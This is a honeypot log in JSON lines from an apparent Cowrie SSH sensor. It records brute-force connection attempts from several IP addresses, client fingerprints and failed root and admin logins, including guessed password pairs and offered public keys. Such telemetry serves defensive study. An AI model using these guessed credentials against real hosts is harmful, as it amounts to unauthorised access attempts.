{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43232,"dst_ip":"159.203.135.109","dst_port":22,"session":"44cffc20045c","protocol":"ssh","message":"New connection: 91.92.40.171:43232 (159.203.135.109:22) [session: 44cffc20045c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:36.028370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:36.206607Z","src_ip":"91.92.40.171","session":"44cffc20045c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:36.209195Z","src_ip":"91.92.40.171","session":"44cffc20045c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:36.484783Z","src_ip":"91.92.42.133","session":"d46b94c1d81a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"passwd","message":"login attempt [username/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:37.071157Z","src_ip":"91.92.40.171","session":"44cffc20045c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:38.155912Z","src_ip":"91.92.40.171","session":"44cffc20045c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":37126,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d1aae74f72","protocol":"ssh","message":"New connection: 103.77.175.15:37126 (10.17.0.5:22) [session: 12d1aae74f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:39.546448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:39.549851Z","src_ip":"103.77.175.15","session":"12d1aae74f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:39.805873Z","src_ip":"103.77.175.15","session":"12d1aae74f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05071998","message":"login attempt [root/05071998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:40.827067Z","src_ip":"103.77.175.15","session":"12d1aae74f72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43282,"dst_ip":"159.203.135.109","dst_port":22,"session":"03197e0383ee","protocol":"ssh","message":"New connection: 91.92.40.171:43282 (159.203.135.109:22) [session: 03197e0383ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:41.708305Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51306,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbf3047f14cb","protocol":"ssh","message":"New connection: 91.92.42.133:51306 (159.203.135.109:22) [session: fbf3047f14cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:41.945040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:41.957852Z","src_ip":"91.92.40.171","session":"03197e0383ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:41.961471Z","src_ip":"91.92.40.171","session":"03197e0383ee","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:42.010560Z","src_ip":"91.92.42.133","session":"fbf3047f14cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:42.083808Z","src_ip":"103.77.175.15","session":"12d1aae74f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:42.102173Z","src_ip":"91.92.42.133","session":"fbf3047f14cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:42.593431Z","src_ip":"91.92.42.133","session":"fbf3047f14cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:42.800991Z","src_ip":"91.92.40.171","session":"03197e0383ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:43.949586Z","src_ip":"91.92.42.133","session":"fbf3047f14cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:43.956369Z","src_ip":"91.92.40.171","session":"03197e0383ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39968,"dst_ip":"159.203.135.109","dst_port":22,"session":"7128c3754050","protocol":"ssh","message":"New connection: 91.92.40.171:39968 (159.203.135.109:22) [session: 7128c3754050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:49.228063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:49.494595Z","src_ip":"91.92.40.171","session":"7128c3754050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43346,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a024a0dcd6","protocol":"ssh","message":"New connection: 91.92.42.133:43346 (159.203.135.109:22) [session: 21a024a0dcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:49.803131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:49.807023Z","src_ip":"91.92.42.133","session":"21a024a0dcd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:49.892294Z","src_ip":"91.92.42.133","session":"21a024a0dcd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:50.260937Z","src_ip":"91.92.42.133","session":"21a024a0dcd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:50.363656Z","src_ip":"91.92.40.171","session":"7128c3754050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:51.351303Z","src_ip":"91.92.42.133","session":"21a024a0dcd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.224","src_port":50618,"dst_ip":"10.17.0.5","dst_port":22,"session":"3796169bf56d","protocol":"ssh","message":"New connection: 148.153.121.224:50618 (10.17.0.5:22) [session: 3796169bf56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:52.978186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:52.982233Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.024227Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:28:4b:24:f3:9a:7d:d2:1e:ae:bf:7b:f4:70:d2:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuQAVQ0Pbeiiw61NnYGZbW08puuyiTj+3gbs25t0vvwecF4lyL1kkff1fn0m6bhAmHG6Y15g5fZVGyq8IuLDOUAib7DNrlFsQwe0Zai+ITAfn5L1DsayaMpvQszwnAZAvzqgz4VJIljS5jQQSgvXr4WUbWCTXR3yoj02SN7HubzN3ubXB5PlAfMmajmQubjfidcWfXLxNCpXec/ZjBLqekrlt3jX+SqReFGiONSX+EBAmLkyYVjYHAYQoyeXUK+mwnhWMuuAys4JLtPp18c/U3ALYfpwlxjmIozUeChDJmWLh/+doBujh6SpM3LrS+H0/cpbe+BoxjcsD8ph3ujXO9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:28:4b:24:f3:9a:7d:d2:1e:ae:bf:7b:f4:70:d2:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.216589Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:28:4b:24:f3:9a:7d:d2:1e:ae:bf:7b:f4:70:d2:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuQAVQ0Pbeiiw61NnYGZbW08puuyiTj+3gbs25t0vvwecF4lyL1kkff1fn0m6bhAmHG6Y15g5fZVGyq8IuLDOUAib7DNrlFsQwe0Zai+ITAfn5L1DsayaMpvQszwnAZAvzqgz4VJIljS5jQQSgvXr4WUbWCTXR3yoj02SN7HubzN3ubXB5PlAfMmajmQubjfidcWfXLxNCpXec/ZjBLqekrlt3jX+SqReFGiONSX+EBAmLkyYVjYHAYQoyeXUK+mwnhWMuuAys4JLtPp18c/U3ALYfpwlxjmIozUeChDJmWLh/+doBujh6SpM3LrS+H0/cpbe+BoxjcsD8ph3ujXO9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.219581Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:12:62:2d:bc:f0:f5:27:44:ba:b3:e1:51:9b:13:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSPj+ZMvWVjK7gs/U7iTmHULdfMfxtt/jsCp/iJaEmcl4NYBqS/kLscFfQ6Bd9HttjdCf9fn0bu9CKD/cW6tdVRJewRfhs53v6GJC/h6udbpRCNYEWLILC0THp4pCgm455mKFp62A/5ZUMdY0H6I3ehbpvpUHUyf/kR8KiXhS8mYSCFd09lNIFWlJTYVol0515bWXmpbWglP/J+xTg2F8bZ7VBr1uwbrz7iLTMhUYt4fo5sg6fGiG7pTvXAacc3kXb59OSRQx52aQZ1aYKqFrnhj3ZzxHdfestRpiPigXk1bAdMjvBugcwvls10MEX2u+8OEqVNrdTp3WiA37oNNgL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:12:62:2d:bc:f0:f5:27:44:ba:b3:e1:51:9b:13:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.262542Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:12:62:2d:bc:f0:f5:27:44:ba:b3:e1:51:9b:13:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSPj+ZMvWVjK7gs/U7iTmHULdfMfxtt/jsCp/iJaEmcl4NYBqS/kLscFfQ6Bd9HttjdCf9fn0bu9CKD/cW6tdVRJewRfhs53v6GJC/h6udbpRCNYEWLILC0THp4pCgm455mKFp62A/5ZUMdY0H6I3ehbpvpUHUyf/kR8KiXhS8mYSCFd09lNIFWlJTYVol0515bWXmpbWglP/J+xTg2F8bZ7VBr1uwbrz7iLTMhUYt4fo5sg6fGiG7pTvXAacc3kXb59OSRQx52aQZ1aYKqFrnhj3ZzxHdfestRpiPigXk1bAdMjvBugcwvls10MEX2u+8OEqVNrdTp3WiA37oNNgL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.265466Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
